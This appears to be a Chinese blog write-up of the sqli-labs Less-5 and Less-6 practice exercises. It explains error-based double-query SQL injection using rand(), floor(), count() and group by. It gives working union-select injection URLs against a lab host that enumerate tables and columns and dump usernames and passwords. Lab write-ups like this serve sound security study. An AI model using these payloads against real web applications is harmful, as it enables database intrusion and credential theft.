sqli-labs Less5~6 布尔盲注(有报错回显)

it2026-03-28  4

双查询注入原理

这里参考了这篇文章: https://blog.csdn.net/Leep0rt/article/details/78556440

需要理解四个函数/语句:

1. rand() //随机函数 2. floor() //取整函数 3. count() //汇总函数 4. group by clause //分组语句 Rand()函数作用如下: 返回[0,1)之间的随机数,用法就是SELECT rand(); Floor()函数作用如下: 向下取整,用法即SELECT floor(11.332423),结果为11; 简单组合下,可以有SELECT floor(rand()*2); 加大难度,可以有 SELECT CONCAT((SELECT database()),FLOOR(RAND()*2)), 结果就是security0或security1。 如果再加上from 表名,则一般会返回security0或security1的一个集合,数目由表本身所含记录数决定。 例如SELECT CONCAT((SELECT database()),FLOOR(RAND()*2)) FROM users;表中存在13各用户,则返回13条。 再加上group by语句,使用information_schema数据库查询表、列信息等,例如: SELECT CONCAT((SELECT database()),FLOOR(RAND()*2)) as a FROM information_schema.tables group by a; 这样把CONCAT((SELECT database()),FLOOR(RAND()*2))取了个别名a,然后使用它进行分组,这样相同的security0分到一组,security1分到一组,就只剩下两个结果了。 这里的 database()可以替换成任何想查的函数,比如 version()user(),datadir() 或者其它的查询。 Count()函数作用如下: SELECT count(*), CONCAT((SELECT database()),FLOOR(RAND()*2)) as a FROM information_schema.tables group by a; 有一定概率会出现报错,原因是重复的键值,这样就可以看到数据库名: ERROR 1062 (23000): Duplicate entry 'security1' for key ‘group_key’ 再查数据库版本: SELECT count(*), CONCAT('~',(SELECT version()),'~',FLOOR(RAND()*2)) as a FROM information_schema.tables group by a; [Err] 1062 - Duplicate entry '~10.0.17-MariaDB-log~0' for key 'group_key'
Less-5 GET - Double Injection - Single Quotes - String (双注入GET单引号字符型注入)

正常页面: 异常页面有报错回显:

使用上方介绍的函数,获取数据库名为security(刷新直到有报错信息为止):

同理可查出user()、version()等。

http://192.168.200.174/sqli-labs-master/Less-5/?id=-1' union select count(*),1,concat((select table_name from information_schema.tables where table_schema="security" limit 0,1), floor(rand()*2)) as a from information_schema.tables group by a --+ 使用limit限制查询,limit 0,1表示从索引为0的记录开始,查询一条记录。 修改limit限制,依次遍历查询出数据库的的各表名分别为email、referers、uagents、users。

http://192.168.200.174/sqli-labs-master/Less-5/?id=-1' union select count(*),1,concat((select column_name from information_schema.columns where table_schema="security" and table_name="users" limit 0,1), floor(rand()*2)) as a from information_schema.tables group by a --+ 使用同样的方法获取users表中列名,获得id、username、password等。

http://192.168.200.174/sqli-labs-master/Less-5/?id=-1' union select count(*),1,concat((select concat_ws(":", username, password) from security.users limit 0,1), floor(rand()*2)) as a from information_schema.tables group by a --+ 使用concat_ws函数获取用户名、密码信息。

Less-6 GET - Double Injection - Double Quotes - String (双注入GET双引号字符型注入)

大致步骤和Less5一致:

最新回复(0)